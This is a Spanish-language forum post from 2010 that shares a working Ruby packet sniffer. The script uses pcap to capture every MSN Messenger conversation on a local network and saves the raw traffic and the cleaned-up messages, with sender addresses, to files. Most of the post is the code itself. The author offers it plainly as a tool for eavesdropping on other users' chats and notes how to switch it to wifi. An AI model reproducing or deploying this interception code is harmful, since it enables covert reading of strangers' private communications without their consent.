MSN Sniff

Iniciado por ANTRAX, Febrero 24, 2010, 04:09:29 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 24, 2010, 04:09:29 PM Ultima modificación: Julio 31, 2014, 09:46:36 PM por Expermicid

Se trata de un sniffer. Lo pones a correr y captura todas las conversaciones de msn de la red ^^. Está configurado para lan, el que tenga wifi solo tiene que cambiar el parámetro en al hacer el You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (no lo voy a dar todo hecho xD). Se utiliza la libreria pcap, necesaria instalacion.

Se crean dos archivos: uno con toda la información que pasa por el MSN (puede ser útil) y otro con las conversaciones limpias.

Código: ruby
#MSN Sniff. Captura las conversaciones de MSN de la red.
#Coded by pRotos.
#[email protected]

require 'pcaplet'
include Pcap

log=File.open('msnlog.txt', 'w')

conv=File.open('conversaciones.txt', 'w')

sniff=Pcaplet.new('-s 1500')
filtro=Pcap::Filter.new('tcp and src port 1863', sniff.capture)
filtro1=Pcap::Filter.new('tcp and dst port 1863', sniff.capture)
sniff.add_filter(filtro|filtro1)
sniff.each_packet {|x|
log.puts x.tcp_data
puts x.tcp_data
if filtro =~ x
if x.tcp_data =~ /X-MMS-IM-Format:\s.*\r\n\r\n(.*)/
mensaje=$1
dir=x.tcp_data.split('SG ')[1].split(' ')[0]
conv.print dir, "=> "
conv.print mensaje, "\n\n"
end

end

if filtro1 =~ x
if x.tcp_data =~ /TypingUser:\s(.*)\r\n/
dir=$1
conv.print dir, "=> "

end
if x.tcp_data =~ /X-MMS-IM-Format:\s.*\r\n\r\n(.*)/

mensaje=$1
conv.print mensaje, "\n\n"
end
end

}